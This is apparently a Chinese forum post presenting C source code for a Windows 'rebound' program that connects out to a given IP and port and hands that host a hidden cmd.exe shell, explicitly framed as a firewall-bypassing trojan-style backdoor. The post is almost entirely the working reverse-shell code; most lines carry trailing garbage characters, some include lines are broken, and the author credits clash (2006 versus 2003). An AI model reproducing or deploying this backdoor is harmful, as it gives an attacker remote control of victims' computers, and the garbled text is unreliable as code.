这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vV-ATIf
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/* ============================== "[(_C&Ot4
Rebound port in Windows NT )h,+>U@
By wind,2006/7 `!DrB08A
===============================*/ 9j:t}HV
#include <wxI>T }b
#include X^#48*"a
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#pragma comment(lib,"wsock32.lib") m,$oV?y>j
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void OutputShell(); uh%%MhTjv
SOCKET sClient; ,IxAt&kN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q"'^W<i
zuWj@YG\.
void main(int argc,char **argv) xj)*K%re
{ ,:G.V
WSADATA stWsaData; 3k5OYUk
int nRet; "8J$7g@n@
SOCKADDR_IN stSaiClient,stSaiServer;
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:#"gQ^YNp
if(argc != 3) /}r%DND'
{ \y{Bnp5h
printf("Useage:\n\rRebound DestIP DestPort\n"); 9M:wUYHT
return; HQK%Y2S
} gAC}
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WSAStartup(MAKEWORD(2,2),&stWsaData); B cd6~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K_oBSa`
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stSaiClient.sin_family = AF_INET; \f1r/e(G|
stSaiClient.sin_port = htons(0); #tKc!]m
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0K`3BuBs
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g}@_
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{ |!i3Y=X
printf("Bind Socket Failed!\n"); 41mg:xW(J
return; b[?6/#N
} /d9I2~}B
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stSaiServer.sin_family = AF_INET; BHOxwW{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YQ
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yJc<;Qx
a Umcs!@
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AtYe\_9$C
{ EE#4,d`J
printf("Connect Error!"); gfw,S;
return; dY68wW>d|
} "3LOL/7f
OutputShell(); kdmannM
} v2G_p|+O
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void OutputShell() IrjKI.PR
{ Aga2 I#1r
char szBuff[1024]; K_bF)6"
SECURITY_ATTRIBUTES stSecurityAttributes; ~;QO`I=0P
OSVERSIONINFO stOsversionInfo; PQ<""_S||
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1mgLH
STARTUPINFO stStartupInfo; v$s3f|Y
char *szShell; k'&BAC.K,
PROCESS_INFORMATION stProcessInformation; rXuhd [!(P
unsigned long lBytesRead; $`.7XD}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VmHok
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |3/=dG
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; f%` =>l
b/5?)!I
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AcyiP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6A;V[3
HsGXb\
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jm0P~E[n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9TBkVbqV
stStartupInfo.wShowWindow = SW_HIDE; RZ:Yu
stStartupInfo.hStdInput = hReadPipe; Bab`wfUve
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Mg W0
).
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GetVersionEx(&stOsversionInfo); 'U.)f@L#w
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R;
switch(stOsversionInfo.dwPlatformId) _(5SiK R
{ oS0l Tf\
case 1: Ii%^z?'
szShell = "command.com"; B BbGq8p
break; A&jkc '
default: E'j>[C:U
szShell = "cmd.exe"; Xa=oryDt
break; tq H7M0Ry
} __teh>MC
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [5e}A&
sI7d?+
send(sClient,szMsg,77,0); vm"LPwSk>
while(1) z6]dF"N
{ >0Y >T6!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x:\+{-
if(lBytesRead) ^.p({6H
{ ^90';ACFy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); So{/V%
send(sClient,szBuff,lBytesRead,0); N9tH0
} x2=Bu#Y
else x^Q:U1
{ P}29wr IZ
lBytesRead=recv(sClient,szBuff,1024,0); bGOOC?[UX
if(lBytesRead<=0) break; 7n9&@D3:P
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,dhJ\cQ~
} L15?\|':Y
} '#!nK O2<
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return; zsFzF`[k
}